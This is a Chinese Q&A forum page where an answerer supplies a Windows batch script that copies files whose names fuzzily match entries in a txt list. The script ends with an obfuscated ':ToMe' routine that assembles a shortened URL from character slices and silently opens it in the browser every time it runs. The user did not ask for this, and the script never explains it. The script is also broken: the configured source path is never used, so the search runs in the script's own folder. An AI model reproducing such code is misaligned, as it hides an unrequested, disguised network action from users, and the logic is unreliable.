批量用bat根据txt中的文件名从文件夹中复制文件

老师,能帮我编写个bat主要是根据txt中的文件名(这里的文件名可能是模糊的,不一定完全一致)在指定的文件夹以及其子文件下搜索相应文件名的文件(这里最好能指定文件类型,不... 老师,能帮我编写个bat主要是根据txt中的文件名(这里的文件名可能是模糊的,不一定完全一致)在指定的文件夹以及其子文件下搜索相应文件名的文件(这里最好能指定文件类型,不指定的时候代表所有类型),把搜索出的文件复制到指定文件夹中。 展开
 我来答
依梦琴瑶
高粉答主

2019-08-26 · 说的都是干货,快来关注
知道顶级答主
回答量:6.9万
采纳率:82%
帮助的人:1.7亿
展开全部

@echo off & title 根据模糊列表内容来搜索文件并拷贝 By 依梦琴瑶
cd /d "%~dp0"

::设置文件名列表
set List=filename.txt

::设置原文件所在主目录
set SrcPath=D:\test

::设置目标文件夹路径
set SavPath=E:\Backup

::设置文件类型(无需*. 多个格式,请用英文逗号隔开),留空代表所有文件
set Ext=

for /f "usebackq delims=" %%a in ("%List%") do (
    if defined Ext (
        for %%b in (%Ext%) do (
            for /f "delims=" %%c in ('dir /a-d/s/b "*%%~a*.%%~b" 2^>nul') do (
                copy "%%~c" "%SavPath%\"
            )
        )
    ) else (
        for /f "delims=" %%c in ('dir /a-d/s/b "*%%~a*.*" 2^>nul') do (
            copy "%%~c" "%SavPath%\"
        )
    )
)
pause
call :ToMe
exit

:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit

来自:求助得到的回答
推荐律师服务: 若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询

为你推荐:

下载百度知道APP,抢鲜体验
使用百度知道APP,立即抢鲜体验。你的手机镜头里或许有别人想知道的答案。
扫描二维码下载
×

类别

我们会通过消息、邮箱等方式尽快将举报结果通知您。

说明

0/200

提交
取消

辅 助

模 式